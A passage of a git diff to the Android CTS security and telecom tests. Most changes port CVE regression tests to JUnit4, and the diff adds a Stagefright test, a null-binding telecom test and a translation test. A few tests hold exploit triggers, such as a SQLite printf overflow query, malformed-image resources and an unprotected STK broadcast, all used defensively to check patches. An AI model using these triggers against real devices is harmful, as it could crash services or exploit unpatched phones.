+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class PutOverflowTest extends StsExtraBusinessLogicTestCase {
+ @Test
@AsbSecurityTest(cveBugId = 22802399)
public void testCrash() throws Exception {
try {
diff --git a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
index 8405acc..293200e 100644
--- a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
+++ b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
@@ -19,11 +19,17 @@
import android.app.ActivityManager;
import android.content.Context;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
import java.util.List;
-public class RunningAppProcessInfoTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class RunningAppProcessInfoTest extends StsExtraBusinessLogicTestCase {
/*
* This test verifies severity vulnerability: apps can bypass the L restrictions in
* getRunningTasks()is fixed. The test tries to get current RunningAppProcessInfo and passes
@@ -31,9 +37,10 @@
*/
@AsbSecurityTest(cveBugId = 20034603)
+ @Test
public void testRunningAppProcessInfo() {
ActivityManager amActivityManager =
- (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+ (ActivityManager) getInstrumentation().getContext().getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningAppProcessInfo> appList =
amActivityManager.getRunningAppProcesses();
// The test will pass if it is able to get only its process info
diff --git a/tests/tests/security/src/android/security/cts/SQLiteTest.java b/tests/tests/security/src/android/security/cts/SQLiteTest.java
index a3a14d4..84d36fa 100644
--- a/tests/tests/security/src/android/security/cts/SQLiteTest.java
+++ b/tests/tests/security/src/android/security/cts/SQLiteTest.java
@@ -28,14 +28,21 @@
import android.net.Uri;
import android.platform.test.annotations.AsbSecurityTest;
import android.provider.VoicemailContract;
-import android.test.AndroidTestCase;
import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.File;
import java.io.FileInputStream;
-public class SQLiteTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class SQLiteTest extends StsExtraBusinessLogicTestCase {
private static final String DATABASE_FILE_NAME = "database_test.db";
private ContentResolver mResolver;
@@ -44,9 +51,8 @@
private SQLiteDatabase mDatabase;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
mResolver = getContext().getContentResolver();
mContext = InstrumentationRegistry.getTargetContext();
mPackageName = mContext.getPackageName();
@@ -62,6 +68,7 @@
* b/139186193
*/
@AsbSecurityTest(cveBugId = 139186193)
+ @Test
public void test_android_cve_2019_2195() {
Uri uri = VoicemailContract.Voicemails.CONTENT_URI;
uri = uri.buildUpon().appendQueryParameter("source_package", mPackageName).build();
@@ -99,6 +106,7 @@
* b/153352319
*/
@AsbSecurityTest(cveBugId = 153352319)
+ @Test
public void test_android_float_to_text_conversion_overflow() {
String create_cmd = "select (printf('%.2147483647G',0.01));";
try (Cursor c = mDatabase.rawQuery(create_cmd, null)) {
diff --git a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
index 7e6fb7c..2765de4 100644
--- a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
+++ b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
@@ -15,33 +15,35 @@
*/
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.content.ComponentName;
import android.content.Intent;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
import android.content.pm.PackageManager;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-public class STKFrameworkTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class STKFrameworkTest extends StsExtraBusinessLogicTestCase {
private boolean mHasTelephony;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
mHasTelephony = getContext().getPackageManager().hasSystemFeature(
PackageManager.FEATURE_TELEPHONY);
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- }
-
/*
* Verifies commands Intercepting which has been sent from SIM card to Telephony using
* zero-permission malicious application
*/
@AsbSecurityTest(cveBugId = 21697171)
+ @Test
public void testInterceptedSIMCommandsToTelephony() {
if (!mHasTelephony) {
return;
@@ -54,7 +56,7 @@
ComponentName.unflattenFromString("com.android.stk/com.android.stk.StkCmdReceiver");
intent.setComponent(cn);
try {
- mContext.sendBroadcast(intent);
+ getInstrumentation().getContext().sendBroadcast(intent);
fail("Able to send broadcast which can be received by any app which has registered " +
"broadcast for action 'com.android.internal.stk.command' since it is not " +
"protected with any permission. Device is vulnerable to CVE-2015-3843.");
diff --git a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
index 4a9802f..de6a9ac 100644
--- a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
+++ b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
@@ -19,26 +19,33 @@
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import java.io.InputStream;
import android.security.cts.R;
import android.platform.test.annotations.AsbSecurityTest;
-public class SkiaICORecursiveDecodingTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class SkiaICORecursiveDecodingTest extends StsExtraBusinessLogicTestCase {
@AsbSecurityTest(cveBugId = 73782357)
+ @Test
public void testAndroid_cve_2017_13318() {
doSkiaIcoRecursiveDecodingTest(R.raw.cve_2017_13318);
}
@AsbSecurityTest(cveBugId = 17262540)
+ @Test
public void test_android_bug_17262540() {
doSkiaIcoRecursiveDecodingTest(R.raw.bug_17262540);
}
@AsbSecurityTest(cveBugId = 17265466)
+ @Test
public void test_android_bug_17265466() {
doSkiaIcoRecursiveDecodingTest(R.raw.bug_17265466);
}
@@ -47,7 +54,7 @@
* Verifies that the device prevents recursive decoding of malformed ICO files
*/
public void doSkiaIcoRecursiveDecodingTest(int resId) {
- InputStream exploitImage = mContext.getResources().openRawResource(resId);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId);
/**
* The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices
* while decoding the exploit image which will lead to process crash
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 6820f2c..af5fb29 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -22,6 +22,7 @@
*/
package android.security.cts;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.app.Instrumentation;
import android.content.Context;
import android.content.res.AssetFileDescriptor;
@@ -100,20 +101,14 @@
*/
@AppModeFull
@RunWith(AndroidJUnit4.class)
-public class StagefrightTest {
+public class StagefrightTest extends StsExtraBusinessLogicTestCase {
static final String TAG = "StagefrightTest";
- private Instrumentation mInstrumentation;
private final long TIMEOUT_NS = 10000000000L; // 10 seconds.
private final static long CHECK_INTERVAL = 50;
@Rule public TestName name = new TestName();
- @Before
- public void setup() {
- mInstrumentation = InstrumentationRegistry.getInstrumentation();
- }
-
class CodecConfig {
boolean isAudio;
/* Video Parameters - valid only when isAudio is false */
@@ -1821,6 +1816,12 @@
before any existing test methods
***********************************************************/
@Test
+ @AsbSecurityTest(cveBugId = 157906313)
+ public void testStagefright_cve_2020_11135() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_11135);
+ }
+
+ @Test
@AsbSecurityTest(cveBugId = 136175447)
public void testStagefright_cve_2019_2186() throws Exception {
long end = System.currentTimeMillis() + 180000; // 3 minutes from now
@@ -3259,8 +3260,4 @@
assertFalse(hung);
}
-
- private Instrumentation getInstrumentation() {
- return mInstrumentation;
- }
}
diff --git a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
index 3be7534..945d119 100644
--- a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
+++ b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
@@ -22,22 +22,25 @@
import android.media.audiofx.AudioEffect;
import android.media.MediaPlayer;
import android.media.audiofx.Visualizer;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.util.Log;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.UUID;
+import static org.junit.Assert.*;
-public class VisualizerEffectTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class VisualizerEffectTest extends StsExtraBusinessLogicTestCase {
private String TAG = "VisualizerEffectTest";
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- }
//Testing security bug: 30229821
+ @Test
@AsbSecurityTest(cveBugId = 30229821)
public void testVisualizer_MalformedConstructor() throws Exception {
final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b";
@@ -80,4 +83,4 @@
Log.w(TAG,"No visualizer found to test");
}
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
index 5cc4fe5..af28a54 100644
--- a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
+++ b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
@@ -19,22 +19,30 @@
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import android.security.cts.R;
-public class ZeroHeightTiffTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ZeroHeightTiffTest extends StsExtraBusinessLogicTestCase {
/**
* Verifies that the device fails to decode a zero height tiff file.
*
* Prior to fixing bug 33300701, decoding resulted in undefined behavior (divide by zero).
* With the fix, decoding will fail, without dividing by zero.
*/
+ @Test
@AsbSecurityTest(cveBugId = 33300701)
public void test_android_bug_33300701() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33300701);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33300701);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
assertNull(bitmap);
}
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 96a07b3..1b1d48e 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -79,6 +79,14 @@
</intent-filter>
</service>
+ <service android:name="android.telecom.cts.NullBindingConnectionService"
+ android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.telecom.ConnectionService"/>
+ </intent-filter>
+ </service>
+
<service android:name="android.telecom.cts.MockInCallService"
android:permission="android.permission.BIND_INCALL_SERVICE"
android:exported="true">
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java
new file mode 100644
index 0000000..1debb7a
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * A minimal {@link Service} implementation intended to test cases where a {@link ConnectionService}
+ * tries to return a null binding.
+ */
+public class NullBindingConnectionService extends Service {
+ public static CountDownLatch sBindLatch = new CountDownLatch(1);
+ public static CountDownLatch sUnbindLatch = new CountDownLatch(1);
+
+ public NullBindingConnectionService() {
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ sBindLatch.countDown();
+ sUnbindLatch = new CountDownLatch(1);
+ return null;
+ }
+
+ @Override
+ public boolean onUnbind(Intent intent) {
+ sUnbindLatch.countDown();
+ sBindLatch = new CountDownLatch(1);
+ return false;
+ }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java
new file mode 100644
index 0000000..611eeab
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.content.ComponentName;
+import android.net.Uri;
+import android.os.Bundle;
+import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+/**
+ * CTS tests to ensure that a ConnectionService which returns a null binding will be automatically
+ * unbound.
+ */
+
+public class NullBindingTest extends BaseTelecomTestWithMockServices {
+ private static final PhoneAccountHandle TEST_NULL_BINDING_HANDLE =
+ new PhoneAccountHandle(new ComponentName("android.telecom.cts",
+ "android.telecom.cts.NullBindingConnectionService"),
+ "1");
+
+ public static final PhoneAccount TEST_NULL_BINDING_ACCOUNT = PhoneAccount.builder(
+ TEST_NULL_BINDING_HANDLE, "Null")
+ .setAddress(Uri.parse("sip:test@test.com"))
+ .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED)
+ .addSupportedUriScheme(PhoneAccount.SCHEME_SIP)
+ .build();
+
+ private static final Uri TEST_ADDRESS_1 = Uri.fromParts("sip", "call1@test.com", null);
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mContext = getInstrumentation().getContext();
+ if (mShouldTestTelecom) {
+ mTelecomManager.registerPhoneAccount(TEST_NULL_BINDING_ACCOUNT);
+ }
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ if (mShouldTestTelecom) {
+ mTelecomManager.unregisterPhoneAccount(TEST_NULL_BINDING_HANDLE);
+ }
+ }
+
+ /**
+ * Ensures that when we bind to a ConnectionService which returns a null binding that the
+ * ConnectionService is unbound automatically.
+ */
+ public void testNullBinding() {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ // Place a call using the null binding connection service.
+ Bundle extras = new Bundle();
+ extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, TEST_NULL_BINDING_HANDLE);
+ mTelecomManager.placeCall(TEST_ADDRESS_1, extras);
+
+ // Ensure it bound and then unbound.
+ assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sBindLatch));
+ assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sUnbindLatch));
+
+ // Ensure there is no call present in Telecom
+ assertFalse(mTelecomManager.isInCall());
+ }
+}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
index 8b04c2d..e658152 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
@@ -26,6 +26,7 @@
import android.view.ViewGroup;
import android.view.ViewParent;
import android.webkit.ConsoleMessage;
+import android.view.ViewParent;
import android.webkit.JsPromptResult;
import android.webkit.JsResult;
import android.webkit.WebIconDatabase;
diff --git a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
index 34ceb72..ca3c8ca 100644
--- a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
+++ b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
@@ -18,6 +18,7 @@
import static android.content.Context.CONTENT_CAPTURE_MANAGER_SERVICE;
import static android.content.Context.TRANSLATION_MANAGER_SERVICE;
+import static android.provider.Settings.Global.ANIMATOR_DURATION_SCALE;
import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_FINISH;
import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_PAUSE;
import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_RESUME;
@@ -39,6 +40,7 @@
import android.app.PendingIntent;
import android.content.ComponentName;
+import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.icu.util.ULocale;
@@ -79,6 +81,7 @@
import com.android.compatibility.common.util.BlockingBroadcastReceiver;
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.RequiredServiceRule;
+import com.android.compatibility.common.util.SystemUtil;
import org.junit.After;
import org.junit.AfterClass;
@@ -240,6 +243,60 @@
}
@Test
+ public void testUiTranslationWithoutAnimation() throws Throwable {
+ final float[] originalAnimationDurationScale = new float[1];
+ try {
+ // Disable animation
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ ContentResolver resolver =
+ ApplicationProvider.getApplicationContext().getContentResolver();
+ originalAnimationDurationScale[0] =
+ Settings.Global.getFloat(resolver, ANIMATOR_DURATION_SCALE, 1f);
+ Settings.Global.putFloat(resolver, ANIMATOR_DURATION_SCALE, 0);
+ });
+
+ final Pair<List<AutofillId>, ContentCaptureContext> result =
+ enableServicesAndStartActivityForTranslation();
+
+ final CharSequence originalText = mTextView.getText();
+ final List<AutofillId> views = result.first;
+ final ContentCaptureContext contentCaptureContext = result.second;
+
+ final String translatedText = "success";
+ final UiObject2 helloText = Helper.findObjectByResId(Helper.ACTIVITY_PACKAGE,
+ SimpleActivity.HELLO_TEXT_ID);
+ assertThat(helloText).isNotNull();
+ // Set response
+ final TranslationResponse response =
+ createViewsTranslationResponse(views, translatedText);
+ sTranslationReplier.addResponse(response);
+
+ startUiTranslation(/* shouldPadContent */ false, views, contentCaptureContext);
+
+ assertThat(helloText.getText()).isEqualTo(translatedText);
+
+ pauseUiTranslation(contentCaptureContext);
+
+ assertThat(helloText.getText()).isEqualTo(originalText.toString());
+
+ resumeUiTranslation(contentCaptureContext);
+
+ assertThat(helloText.getText()).isEqualTo(translatedText);
+
+ finishUiTranslation(contentCaptureContext);
+
+ assertThat(helloText.getText()).isEqualTo(originalText.toString());
+ } finally {
+ // restore animation
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ Settings.Global.putFloat(
+ ApplicationProvider.getApplicationContext().getContentResolver(),
+ ANIMATOR_DURATION_SCALE, originalAnimationDurationScale[0]);
+ });
+ }
+ }
+
+ @Test
public void testPauseUiTranslationThenStartUiTranslation() throws Throwable {
final Pair<List<AutofillId>, ContentCaptureContext> result =
enableServicesAndStartActivityForTranslation();
diff --git a/tests/tvprovider/AndroidTest.xml b/tests/tvprovider/AndroidTest.xml
index 18a59ab..5bd4d68 100644
--- a/tests/tvprovider/AndroidTest.xml
+++ b/tests/tvprovider/AndroidTest.xml
@@ -21,6 +21,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTvProviderTestCases.apk" />
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 8894510..46f96ca 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -257,6 +257,7 @@
<!-- b/204721335 -->
<option name="compatibility:exclude-filter" value="CtsWindowManagerJetpackTestCases android.server.wm.jetpack.SidecarTest#testSidecarInterface_onWindowLayoutChangeListener" />
+ <option name="compatibility:exclude-filter" value="CtsWindowManagerJetpackTestCases android.server.wm.jetpack.SidecarTest#testSidecarInterface_getWindowLayoutInfo" />
<!-- b/209382234 -->
<option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases android.devicepolicy.cts.KeyManagementTest" />
@@ -269,4 +270,7 @@
<!-- b/182630972, b/214019488 -->
<option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.PinnedStackTests#testEnterPipWithMinimalSize" />
+ <!-- b/205492302 -->
+ <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testSetCameraDisabled" />
+
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index 9ddd8b1..d07400f 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -102,5 +102,9 @@
<!-- b/203177211 -->
<option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ListeningPortsTest#testNoRemotelyAccessibleListeningUdpPorts" />
+ <!-- b/212223944 -->
+ <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ASurfaceControlTest#testSurfaceTransaction_setDesiredPresentTime_30ms" />
+ <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ASurfaceControlTest#testSurfaceTransaction_setDesiredPresentTime_100ms" />
+
</configuration>